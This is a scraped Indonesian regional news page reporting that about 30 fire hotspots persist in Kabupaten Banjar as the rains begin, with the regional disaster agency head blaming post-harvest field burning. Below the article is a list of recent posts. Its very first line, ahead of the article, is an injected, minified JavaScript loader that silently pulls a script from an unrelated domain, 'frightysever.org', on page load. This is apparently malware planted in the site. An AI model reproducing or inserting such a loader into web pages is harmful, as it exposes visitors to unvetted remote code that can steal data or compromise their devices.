(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Mulai Hujan, 30 Titik Api Masih Mengepung


Menurut Noor Sunarto, Kepala Badan Penangulangan Bencana Daerah (BPBD) Kabupaten Banjar, meski musim sudah di masa peralihan dari kemarau ke penghujan, titik panas atau hot spot di wilayah Kabupaten Banjar masih terdeteksi.

Bahkan  hingga pekan pertama Oktober, terhitung dari Juni, kata Sunarto, sedikitnya terdeteksi 130 titik api.

“Rata-rata per hari terdeteksi tiga titik api. Terbanyak di bulan September,” ujarnya, Selasa (17/10).

Diakuinya, jumlah titik api tahun ini lebih banyak dibanding tahun sebelumnya. Padahal, musim kemarau tahun ini  lebih singkat dibanding tahun 2016. Hingga akhir masa status siaga Karhutla akhir November nanti, jumlah titik api dipastikan masih akan bertambah.

Hal ini menurut Sunarto, beberapa daerah di Kabupaten Banjar jelang masa panen. Lazimnya, titik api rutin bertambah di masa panen padi yang disebabkan dari kebiasaan para petani membakar lahan persawahannya pasca panen.

“Beberapa wilayah jelang masa panen padi ada di Kecamatan Gambut, Kertak Hanyar, Aluh-aluh hingga Beruntung Baru. Kebiasaan petani, purna panen tumpukan jerami di areal persawahan dibakar,” kata Noor Sunarto.

Untuk mengetahui penyebab umum terjadinya karhutla di Kabupaten Banjar, Sunarto menyampaikan, akan melakukan kajian bersama Badan Perencanaan Penelitian Pembangunan (Bappelitbang) Kabupaten Banjar.

Dari hasil kajian itu nantinya, diharapkan ada solusi menekan karhutla yang diakuinya sebagian besar disebabkan unsur kesengajaan. Salahs atunya sengaja membakar untuk membuka lahan pertanian baru dan pasca panen.

“Apapun alasannya, membakar lahan dilarang. Hanya karena sudah menjadi budaya masyarakat, menjadi sedikit sulit menghilangkannya,” ujar Noor Sunarto. (rudiyanto)


Desy Arfianty

Recent Posts

Buka Rapat Kerja, Ini Harapan Bunda PAUD Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA – Bunda PAUD Kabupaten Banjar Hj Nurgita Tiyas membuka Rapat Kerja (Raker) di… Read More

3 jam ago

Saat Sasirangan dan Soto Banjar jadi Perbincangan Pelajar di Taiwan

KANALKALIMANTAN.COM, BANJARBARU - Sejumlah aspek dalam budaya Banjar menjadi topik hangat di sela pengabdian internasional… Read More

3 jam ago

Pemkab Kapuas Bahas PPKH Permukiman Transmigrasi Lokal Ngaju Bersinar

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas melakukan pembahasan terhadap Persetujuan Penggunaan Kawasan Hutan… Read More

4 jam ago

Pelatihan AI Ready ASEAN: AI Itu Alat Pendukung, Bukan Pengganti Manusia

KANALKALIMANTAN.COM, BANJARMASIN - Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan kembali menggelar implementasi pelatihan AI… Read More

4 jam ago

Uang Bonus Atlet Kontingen Banjarmasin Dipangkas, Ini Penyebabnya

KANALKALIMANTAN.COM, BANJARMASIN - Bonus atlet dan pelatih Banjarmasin peraih medali pada Pekan Olahraga Provinsi (Porprov)… Read More

5 jam ago

2 Jenis Lead Generation untuk Menarik Prospek Berkualitas

KANALKALIMANTAN.COM - Menawarkan produk atau layanan yang bagus adalah kewajiban bisnis, namun itu saja tidak… Read More

6 jam ago

This website uses cookies.